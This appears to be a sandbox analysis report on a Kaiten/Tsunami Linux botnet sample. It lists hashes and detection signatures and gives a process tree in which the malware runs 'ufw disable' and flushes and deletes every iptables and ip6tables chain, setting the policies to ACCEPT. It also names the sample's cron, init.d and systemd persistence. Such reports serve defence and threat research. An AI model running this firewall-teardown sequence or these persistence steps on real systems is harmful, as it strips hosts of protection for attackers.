Analysis

  • max time kernel
    13s
  • max time network
    54s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240221-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240221-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    13-03-2024 02:53

General

  • Target

    f998aeb84da8b84723ca9fdbdeb565dbc7938bd0a0ce5f0981307b3e24bdf712.elf

  • Size

    3.9MB

  • MD5

    426155ff2d5a20f7164da55ff23cc94b

  • SHA1

    71f5f60479f21702145008bb98c108a69ba8f34c

  • SHA256

    f998aeb84da8b84723ca9fdbdeb565dbc7938bd0a0ce5f0981307b3e24bdf712

  • SHA512

    ae3c2dd95640d64a971a95af8a8aaf1effd150b0f8a37c46f902c991a66686c56210c8f2cf6ea00daa31c52731de6df2c4169b9279d387775b9d6c9739ecdc0b

  • SSDEEP

    98304:7CuSt95TW1PvY22pKm2lGEhL4uQEMAlj664cLa1:7CuSt954A2WhcfRQrUUv1

Malware Config

Signatures

  • Detects Kaiten/Tsunami Payload 1 IoCs
  • Detects Kaiten/Tsunami payload 1 IoCs
  • Kaiten/Tsunami

    Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.

  • Executes dropped EXE 4 IoCs
  • Flushes firewall rules 3 IoCs

    Flushes/ disables firewall rules inside the Linux kernel.

  • Loads a kernel module 1 IoCs

    Loads a Linux kernel module, potentially to achieve persistence

  • Reads EFI boot settings 10 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Attempts to change immutable files 29 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Checks hardware identifiers (DMI) 1 TTPs 8 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Creates/modifies Cron job 1 TTPs 17 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 1 TTPs 3 IoCs

    Adds/modifies system service, likely for persistence.

  • Modifies systemd 1 TTPs 3 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Reads CPU attributes 1 TTPs 16 IoCs
  • Reads hardware information 1 TTPs 28 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Writes file to system bin folder 1 TTPs 5 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/f998aeb84da8b84723ca9fdbdeb565dbc7938bd0a0ce5f0981307b3e24bdf712.elf
    /tmp/f998aeb84da8b84723ca9fdbdeb565dbc7938bd0a0ce5f0981307b3e24bdf712.elf
    1⤵
    • Modifies init.d
    • Modifies systemd
    • Writes file to system bin folder
    • Enumerates kernel/hardware configuration
    PID:1479
    • /usr/bin/bash
      bash -c "ufw disable"
      2⤵
        PID:1503
      • /usr/sbin/ufw
        ufw disable
        2⤵
        • Flushes firewall rules
        PID:1503
        • /usr/sbin/iptables
          /usr/sbin/iptables -V
          3⤵
            PID:1521
          • /lib/ufw/ufw-init
            /lib/ufw/ufw-init force-stop
            3⤵
              PID:1522
              • /sbin/ip6tables
                ip6tables -L INPUT -n
                4⤵
                  PID:1523
                  • /sbin/modprobe
                    /sbin/modprobe ip6_tables
                    5⤵
                    • Loads a kernel module
                    • Enumerates kernel/hardware configuration
                    PID:1524
                • /sbin/iptables
                  iptables -F ufw-logging-deny
                  4⤵
                    PID:1526
                  • /sbin/iptables
                    iptables -F ufw-logging-allow
                    4⤵
                      PID:1530
                    • /sbin/iptables
                      iptables -F ufw-not-local
                      4⤵
                        PID:1531
                      • /sbin/iptables
                        iptables -F ufw-user-logging-input
                        4⤵
                          PID:1532
                        • /sbin/iptables
                          iptables -F ufw-user-limit-accept
                          4⤵
                            PID:1533
                          • /sbin/iptables
                            iptables -F ufw-user-limit
                            4⤵
                              PID:1534
                            • /sbin/iptables
                              iptables -F ufw-skip-to-policy-input
                              4⤵
                                PID:1535
                              • /sbin/iptables
                                iptables -F ufw-reject-input
                                4⤵
                                  PID:1536
                                • /sbin/iptables
                                  iptables -F ufw-after-logging-input
                                  4⤵
                                    PID:1537
                                  • /sbin/iptables
                                    iptables -F ufw-after-input
                                    4⤵
                                      PID:1538
                                    • /sbin/iptables
                                      iptables -F ufw-user-input
                                      4⤵
                                        PID:1539
                                      • /sbin/iptables
                                        iptables -F ufw-before-input
                                        4⤵
                                          PID:1540
                                        • /sbin/iptables
                                          iptables -F ufw-before-logging-input
                                          4⤵
                                            PID:1541
                                          • /sbin/iptables
                                            iptables -F ufw-skip-to-policy-forward
                                            4⤵
                                              PID:1543
                                            • /sbin/iptables
                                              iptables -F ufw-reject-forward
                                              4⤵
                                                PID:1544
                                              • /sbin/iptables
                                                iptables -F ufw-after-logging-forward
                                                4⤵
                                                  PID:1545
                                                • /sbin/iptables
                                                  iptables -F ufw-after-forward
                                                  4⤵
                                                    PID:1546
                                                  • /sbin/iptables
                                                    iptables -F ufw-user-logging-forward
                                                    4⤵
                                                      PID:1548
                                                    • /sbin/iptables
                                                      iptables -F ufw-user-forward
                                                      4⤵
                                                        PID:1549
                                                      • /sbin/iptables
                                                        iptables -F ufw-before-forward
                                                        4⤵
                                                          PID:1550
                                                        • /sbin/iptables
                                                          iptables -F ufw-before-logging-forward
                                                          4⤵
                                                            PID:1551
                                                          • /sbin/iptables
                                                            iptables -F ufw-track-forward
                                                            4⤵
                                                              PID:1552
                                                            • /sbin/iptables
                                                              iptables -F ufw-track-output
                                                              4⤵
                                                                PID:1556
                                                              • /sbin/iptables
                                                                iptables -F ufw-track-input
                                                                4⤵
                                                                  PID:1558
                                                                • /sbin/iptables
                                                                  iptables -F ufw-skip-to-policy-output
                                                                  4⤵
                                                                    PID:1559
                                                                  • /sbin/iptables
                                                                    iptables -F ufw-reject-output
                                                                    4⤵
                                                                      PID:1563
                                                                    • /sbin/iptables
                                                                      iptables -F ufw-after-logging-output
                                                                      4⤵
                                                                        PID:1564
                                                                      • /sbin/iptables
                                                                        iptables -F ufw-after-output
                                                                        4⤵
                                                                          PID:1565
                                                                        • /sbin/iptables
                                                                          iptables -F ufw-user-logging-output
                                                                          4⤵
                                                                            PID:1566
                                                                          • /sbin/iptables
                                                                            iptables -F ufw-user-output
                                                                            4⤵
                                                                              PID:1568
                                                                            • /sbin/iptables
                                                                              iptables -F ufw-before-output
                                                                              4⤵
                                                                                PID:1569
                                                                              • /sbin/iptables
                                                                                iptables -F ufw-before-logging-output
                                                                                4⤵
                                                                                  PID:1570
                                                                                • /sbin/iptables
                                                                                  iptables -Z ufw-logging-deny
                                                                                  4⤵
                                                                                    PID:1571
                                                                                  • /sbin/iptables
                                                                                    iptables -Z ufw-logging-allow
                                                                                    4⤵
                                                                                      PID:1572
                                                                                    • /sbin/iptables
                                                                                      iptables -Z ufw-not-local
                                                                                      4⤵
                                                                                        PID:1573
                                                                                      • /sbin/iptables
                                                                                        iptables -Z ufw-user-logging-input
                                                                                        4⤵
                                                                                          PID:1575
                                                                                        • /sbin/iptables
                                                                                          iptables -Z ufw-user-limit-accept
                                                                                          4⤵
                                                                                            PID:1576
                                                                                          • /sbin/iptables
                                                                                            iptables -Z ufw-user-limit
                                                                                            4⤵
                                                                                              PID:1577
                                                                                            • /sbin/iptables
                                                                                              iptables -Z ufw-skip-to-policy-input
                                                                                              4⤵
                                                                                                PID:1578
                                                                                              • /sbin/iptables
                                                                                                iptables -Z ufw-reject-input
                                                                                                4⤵
                                                                                                  PID:1579
                                                                                                • /sbin/iptables
                                                                                                  iptables -Z ufw-after-logging-input
                                                                                                  4⤵
                                                                                                    PID:1580
                                                                                                  • /sbin/iptables
                                                                                                    iptables -Z ufw-after-input
                                                                                                    4⤵
                                                                                                      PID:1581
                                                                                                    • /sbin/iptables
                                                                                                      iptables -Z ufw-user-input
                                                                                                      4⤵
                                                                                                        PID:1582
                                                                                                      • /sbin/iptables
                                                                                                        iptables -Z ufw-before-input
                                                                                                        4⤵
                                                                                                          PID:1583
                                                                                                        • /sbin/iptables
                                                                                                          iptables -Z ufw-before-logging-input
                                                                                                          4⤵
                                                                                                            PID:1584
                                                                                                          • /sbin/iptables
                                                                                                            iptables -Z ufw-skip-to-policy-forward
                                                                                                            4⤵
                                                                                                              PID:1585
                                                                                                            • /sbin/iptables
                                                                                                              iptables -Z ufw-reject-forward
                                                                                                              4⤵
                                                                                                                PID:1586
                                                                                                              • /sbin/iptables
                                                                                                                iptables -Z ufw-after-logging-forward
                                                                                                                4⤵
                                                                                                                  PID:1587
                                                                                                                • /sbin/iptables
                                                                                                                  iptables -Z ufw-after-forward
                                                                                                                  4⤵
                                                                                                                    PID:1588
                                                                                                                  • /sbin/iptables
                                                                                                                    iptables -Z ufw-user-logging-forward
                                                                                                                    4⤵
                                                                                                                      PID:1589
                                                                                                                    • /sbin/iptables
                                                                                                                      iptables -Z ufw-user-forward
                                                                                                                      4⤵
                                                                                                                        PID:1590
                                                                                                                      • /sbin/iptables
                                                                                                                        iptables -Z ufw-before-forward
                                                                                                                        4⤵
                                                                                                                          PID:1591
                                                                                                                        • /sbin/iptables
                                                                                                                          iptables -Z ufw-before-logging-forward
                                                                                                                          4⤵
                                                                                                                            PID:1592
                                                                                                                          • /sbin/iptables
                                                                                                                            iptables -Z ufw-track-forward
                                                                                                                            4⤵
                                                                                                                              PID:1593
                                                                                                                            • /sbin/iptables
                                                                                                                              iptables -Z ufw-track-output
                                                                                                                              4⤵
                                                                                                                                PID:1594
                                                                                                                              • /sbin/iptables
                                                                                                                                iptables -Z ufw-track-input
                                                                                                                                4⤵
                                                                                                                                  PID:1595
                                                                                                                                • /sbin/iptables
                                                                                                                                  iptables -Z ufw-skip-to-policy-output
                                                                                                                                  4⤵
                                                                                                                                    PID:1596
                                                                                                                                  • /sbin/iptables
                                                                                                                                    iptables -Z ufw-reject-output
                                                                                                                                    4⤵
                                                                                                                                      PID:1597
                                                                                                                                    • /sbin/iptables
                                                                                                                                      iptables -Z ufw-after-logging-output
                                                                                                                                      4⤵
                                                                                                                                        PID:1598
                                                                                                                                      • /sbin/iptables
                                                                                                                                        iptables -Z ufw-after-output
                                                                                                                                        4⤵
                                                                                                                                          PID:1599
                                                                                                                                        • /sbin/iptables
                                                                                                                                          iptables -Z ufw-user-logging-output
                                                                                                                                          4⤵
                                                                                                                                            PID:1600
                                                                                                                                          • /sbin/iptables
                                                                                                                                            iptables -Z ufw-user-output
                                                                                                                                            4⤵
                                                                                                                                              PID:1601
                                                                                                                                            • /sbin/iptables
                                                                                                                                              iptables -Z ufw-before-output
                                                                                                                                              4⤵
                                                                                                                                                PID:1602
                                                                                                                                              • /sbin/iptables
                                                                                                                                                iptables -Z ufw-before-logging-output
                                                                                                                                                4⤵
                                                                                                                                                  PID:1603
                                                                                                                                                • /sbin/iptables
                                                                                                                                                  iptables -X ufw-logging-deny
                                                                                                                                                  4⤵
                                                                                                                                                    PID:1604
                                                                                                                                                  • /sbin/iptables
                                                                                                                                                    iptables -X ufw-logging-allow
                                                                                                                                                    4⤵
                                                                                                                                                      PID:1605
                                                                                                                                                    • /sbin/iptables
                                                                                                                                                      iptables -X ufw-not-local
                                                                                                                                                      4⤵
                                                                                                                                                        PID:1606
                                                                                                                                                      • /sbin/iptables
                                                                                                                                                        iptables -X ufw-user-logging-input
                                                                                                                                                        4⤵
                                                                                                                                                          PID:1607
                                                                                                                                                        • /sbin/iptables
                                                                                                                                                          iptables -X ufw-user-logging-output
                                                                                                                                                          4⤵
                                                                                                                                                            PID:1608
                                                                                                                                                          • /sbin/iptables
                                                                                                                                                            iptables -X ufw-user-logging-forward
                                                                                                                                                            4⤵
                                                                                                                                                              PID:1609
                                                                                                                                                            • /sbin/iptables
                                                                                                                                                              iptables -X ufw-user-limit-accept
                                                                                                                                                              4⤵
                                                                                                                                                                PID:1610
                                                                                                                                                              • /sbin/iptables
                                                                                                                                                                iptables -X ufw-user-limit
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:1611
                                                                                                                                                                • /sbin/iptables
                                                                                                                                                                  iptables -X ufw-user-input
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:1612
                                                                                                                                                                  • /sbin/iptables
                                                                                                                                                                    iptables -X ufw-user-forward
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:1613
                                                                                                                                                                    • /sbin/iptables
                                                                                                                                                                      iptables -X ufw-user-output
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:1614
                                                                                                                                                                      • /sbin/iptables
                                                                                                                                                                        iptables -X ufw-skip-to-policy-input
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:1615
                                                                                                                                                                        • /sbin/iptables
                                                                                                                                                                          iptables -X ufw-skip-to-policy-output
                                                                                                                                                                          4⤵
                                                                                                                                                                            PID:1616
                                                                                                                                                                          • /sbin/iptables
                                                                                                                                                                            iptables -X ufw-skip-to-policy-forward
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:1617
                                                                                                                                                                            • /sbin/iptables
                                                                                                                                                                              iptables -P INPUT ACCEPT
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:1618
                                                                                                                                                                              • /sbin/iptables
                                                                                                                                                                                iptables -P OUTPUT ACCEPT
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:1619
                                                                                                                                                                                • /sbin/iptables
                                                                                                                                                                                  iptables -P FORWARD ACCEPT
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:1620
                                                                                                                                                                                  • /sbin/ip6tables
                                                                                                                                                                                    ip6tables -F ufw6-logging-deny
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:1621
                                                                                                                                                                                    • /sbin/ip6tables
                                                                                                                                                                                      ip6tables -F ufw6-logging-allow
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:1622
                                                                                                                                                                                      • /sbin/ip6tables
                                                                                                                                                                                        ip6tables -F ufw6-not-local
                                                                                                                                                                                        4⤵
                                                                                                                                                                                          PID:1623
                                                                                                                                                                                        • /sbin/ip6tables
                                                                                                                                                                                          ip6tables -F ufw6-user-logging-input
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:1624
                                                                                                                                                                                          • /sbin/ip6tables
                                                                                                                                                                                            ip6tables -F ufw6-user-limit-accept
                                                                                                                                                                                            4⤵
                                                                                                                                                                                              PID:1625
                                                                                                                                                                                            • /sbin/ip6tables
                                                                                                                                                                                              ip6tables -F ufw6-user-limit
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:1626
                                                                                                                                                                                              • /sbin/ip6tables
                                                                                                                                                                                                ip6tables -F ufw6-skip-to-policy-input
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:1629
                                                                                                                                                                                                • /sbin/ip6tables
                                                                                                                                                                                                  ip6tables -F ufw6-reject-input
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:1630
                                                                                                                                                                                                  • /sbin/ip6tables
                                                                                                                                                                                                    ip6tables -F ufw6-after-logging-input
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:1631
                                                                                                                                                                                                    • /sbin/ip6tables
                                                                                                                                                                                                      ip6tables -F ufw6-after-input
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:1632
                                                                                                                                                                                                      • /sbin/ip6tables
                                                                                                                                                                                                        ip6tables -F ufw6-user-input
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:1633
                                                                                                                                                                                                        • /sbin/ip6tables
                                                                                                                                                                                                          ip6tables -F ufw6-before-input
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:1634
                                                                                                                                                                                                          • /sbin/ip6tables
                                                                                                                                                                                                            ip6tables -F ufw6-before-logging-input
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                              PID:1635
                                                                                                                                                                                                            • /sbin/ip6tables
                                                                                                                                                                                                              ip6tables -F ufw6-skip-to-policy-forward
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                PID:1636
                                                                                                                                                                                                              • /sbin/ip6tables
                                                                                                                                                                                                                ip6tables -F ufw6-reject-forward
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                  PID:1637
                                                                                                                                                                                                                • /sbin/ip6tables
                                                                                                                                                                                                                  ip6tables -F ufw6-after-logging-forward
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                    PID:1638
                                                                                                                                                                                                                  • /sbin/ip6tables
                                                                                                                                                                                                                    ip6tables -F ufw6-after-forward
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:1639
                                                                                                                                                                                                                    • /sbin/ip6tables
                                                                                                                                                                                                                      ip6tables -F ufw6-user-logging-forward
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                        PID:1640
                                                                                                                                                                                                                      • /sbin/ip6tables
                                                                                                                                                                                                                        ip6tables -F ufw6-user-forward
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                          PID:1641
                                                                                                                                                                                                                        • /sbin/ip6tables
                                                                                                                                                                                                                          ip6tables -F ufw6-before-forward
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:1642
                                                                                                                                                                                                                          • /sbin/ip6tables
                                                                                                                                                                                                                            ip6tables -F ufw6-before-logging-forward
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                              PID:1643
                                                                                                                                                                                                                            • /sbin/ip6tables
                                                                                                                                                                                                                              ip6tables -F ufw6-track-forward
                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                PID:1644
                                                                                                                                                                                                                              • /sbin/ip6tables
                                                                                                                                                                                                                                ip6tables -F ufw6-track-output
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                  PID:1645
                                                                                                                                                                                                                                • /sbin/ip6tables
                                                                                                                                                                                                                                  ip6tables -F ufw6-track-input
                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                    PID:1646
                                                                                                                                                                                                                                  • /sbin/ip6tables
                                                                                                                                                                                                                                    ip6tables -F ufw6-skip-to-policy-output
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                      PID:1647
                                                                                                                                                                                                                                    • /sbin/ip6tables
                                                                                                                                                                                                                                      ip6tables -F ufw6-reject-output
                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                        PID:1648
                                                                                                                                                                                                                                      • /sbin/ip6tables
                                                                                                                                                                                                                                        ip6tables -F ufw6-after-logging-output
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                          PID:1649
                                                                                                                                                                                                                                        • /sbin/ip6tables
                                                                                                                                                                                                                                          ip6tables -F ufw6-after-output
                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                            PID:1650
                                                                                                                                                                                                                                          • /sbin/ip6tables
                                                                                                                                                                                                                                            ip6tables -F ufw6-user-logging-output
                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                              PID:1651
                                                                                                                                                                                                                                            • /sbin/ip6tables
                                                                                                                                                                                                                                              ip6tables -F ufw6-user-output
                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                PID:1652
                                                                                                                                                                                                                                              • /sbin/ip6tables
                                                                                                                                                                                                                                                ip6tables -F ufw6-before-output
                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                  PID:1653
                                                                                                                                                                                                                                                • /sbin/ip6tables
                                                                                                                                                                                                                                                  ip6tables -F ufw6-before-logging-output
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                    PID:1654
                                                                                                                                                                                                                                                  • /sbin/ip6tables
                                                                                                                                                                                                                                                    ip6tables -Z ufw6-logging-deny
                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                      PID:1655
                                                                                                                                                                                                                                                    • /sbin/ip6tables
                                                                                                                                                                                                                                                      ip6tables -Z ufw6-logging-allow
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                        PID:1656
                                                                                                                                                                                                                                                      • /sbin/ip6tables
                                                                                                                                                                                                                                                        ip6tables -Z ufw6-not-local
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                          PID:1657
                                                                                                                                                                                                                                                        • /sbin/ip6tables
                                                                                                                                                                                                                                                          ip6tables -Z ufw6-user-logging-input
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                            PID:1658
                                                                                                                                                                                                                                                          • /sbin/ip6tables
                                                                                                                                                                                                                                                            ip6tables -Z ufw6-user-limit-accept
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                              PID:1659
                                                                                                                                                                                                                                                            • /sbin/ip6tables
                                                                                                                                                                                                                                                              ip6tables -Z ufw6-user-limit
                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                PID:1660
                                                                                                                                                                                                                                                              • /sbin/ip6tables
                                                                                                                                                                                                                                                                ip6tables -Z ufw6-skip-to-policy-input
                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                  PID:1661
                                                                                                                                                                                                                                                                • /sbin/ip6tables
                                                                                                                                                                                                                                                                  ip6tables -Z ufw6-reject-input
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                    PID:1662
                                                                                                                                                                                                                                                                  • /sbin/ip6tables
                                                                                                                                                                                                                                                                    ip6tables -Z ufw6-after-logging-input
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                      PID:1663
                                                                                                                                                                                                                                                                    • /sbin/ip6tables
                                                                                                                                                                                                                                                                      ip6tables -Z ufw6-after-input
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                        PID:1664
                                                                                                                                                                                                                                                                      • /sbin/ip6tables
                                                                                                                                                                                                                                                                        ip6tables -Z ufw6-user-input
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                          PID:1665
                                                                                                                                                                                                                                                                        • /sbin/ip6tables
                                                                                                                                                                                                                                                                          ip6tables -Z ufw6-before-input
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                            PID:1668
                                                                                                                                                                                                                                                                          • /sbin/ip6tables
                                                                                                                                                                                                                                                                            ip6tables -Z ufw6-before-logging-input
                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                              PID:1669
                                                                                                                                                                                                                                                                            • /sbin/ip6tables
                                                                                                                                                                                                                                                                              ip6tables -Z ufw6-skip-to-policy-forward
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                PID:1670
                                                                                                                                                                                                                                                                              • /sbin/ip6tables
                                                                                                                                                                                                                                                                                ip6tables -Z ufw6-reject-forward
                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                  PID:1671
                                                                                                                                                                                                                                                                                • /sbin/ip6tables
                                                                                                                                                                                                                                                                                  ip6tables -Z ufw6-after-logging-forward
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                    PID:1672
                                                                                                                                                                                                                                                                                  • /sbin/ip6tables
                                                                                                                                                                                                                                                                                    ip6tables -Z ufw6-after-forward
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:1673
                                                                                                                                                                                                                                                                                    • /sbin/ip6tables
                                                                                                                                                                                                                                                                                      ip6tables -Z ufw6-user-logging-forward
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                        PID:1674
                                                                                                                                                                                                                                                                                      • /sbin/ip6tables
                                                                                                                                                                                                                                                                                        ip6tables -Z ufw6-user-forward
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                          PID:1675
                                                                                                                                                                                                                                                                                        • /sbin/ip6tables
                                                                                                                                                                                                                                                                                          ip6tables -Z ufw6-before-forward
                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                            PID:1676
                                                                                                                                                                                                                                                                                          • /sbin/ip6tables
                                                                                                                                                                                                                                                                                            ip6tables -Z ufw6-before-logging-forward
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                              PID:1677
                                                                                                                                                                                                                                                                                            • /sbin/ip6tables
                                                                                                                                                                                                                                                                                              ip6tables -Z ufw6-track-forward
                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                PID:1678
                                                                                                                                                                                                                                                                                              • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                ip6tables -Z ufw6-track-output
                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                  PID:1679
                                                                                                                                                                                                                                                                                                • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                  ip6tables -Z ufw6-track-input
                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                    PID:1680
                                                                                                                                                                                                                                                                                                  • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                    ip6tables -Z ufw6-skip-to-policy-output
                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                      PID:1681
                                                                                                                                                                                                                                                                                                    • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                      ip6tables -Z ufw6-reject-output
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                        PID:1682
                                                                                                                                                                                                                                                                                                      • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                        ip6tables -Z ufw6-after-logging-output
                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                          PID:1683
                                                                                                                                                                                                                                                                                                        • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                          ip6tables -Z ufw6-after-output
                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                            PID:1684
                                                                                                                                                                                                                                                                                                          • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                            ip6tables -Z ufw6-user-logging-output
                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                              PID:1685
                                                                                                                                                                                                                                                                                                            • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                              ip6tables -Z ufw6-user-output
                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                PID:1687
                                                                                                                                                                                                                                                                                                              • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                                ip6tables -Z ufw6-before-output
                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                  PID:1688
                                                                                                                                                                                                                                                                                                                • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                                  ip6tables -Z ufw6-before-logging-output
                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                    PID:1689
                                                                                                                                                                                                                                                                                                                  • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                                    ip6tables -X ufw6-logging-deny
                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                      PID:1691
                                                                                                                                                                                                                                                                                                                    • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                                      ip6tables -X ufw6-logging-allow
                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                        PID:1692
                                                                                                                                                                                                                                                                                                                      • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                                        ip6tables -X ufw6-not-local
                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                          PID:1693
                                                                                                                                                                                                                                                                                                                        • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                                          ip6tables -X ufw6-user-logging-input
                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                            PID:1694
                                                                                                                                                                                                                                                                                                                          • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                                            ip6tables -X ufw6-user-logging-output
                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                              PID:1695
                                                                                                                                                                                                                                                                                                                            • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                                              ip6tables -X ufw6-user-logging-forward
                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                PID:1696
                                                                                                                                                                                                                                                                                                                              • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                                                ip6tables -X ufw6-user-limit-accept
                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                  PID:1698
                                                                                                                                                                                                                                                                                                                                • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                                                  ip6tables -X ufw6-user-limit
                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                    PID:1699
                                                                                                                                                                                                                                                                                                                                  • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                                                    ip6tables -X ufw6-user-input
                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                      PID:1700
                                                                                                                                                                                                                                                                                                                                    • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                                                      ip6tables -X ufw6-user-forward
                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                        PID:1701
                                                                                                                                                                                                                                                                                                                                      • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                                                        ip6tables -X ufw6-user-output
                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                          PID:1702
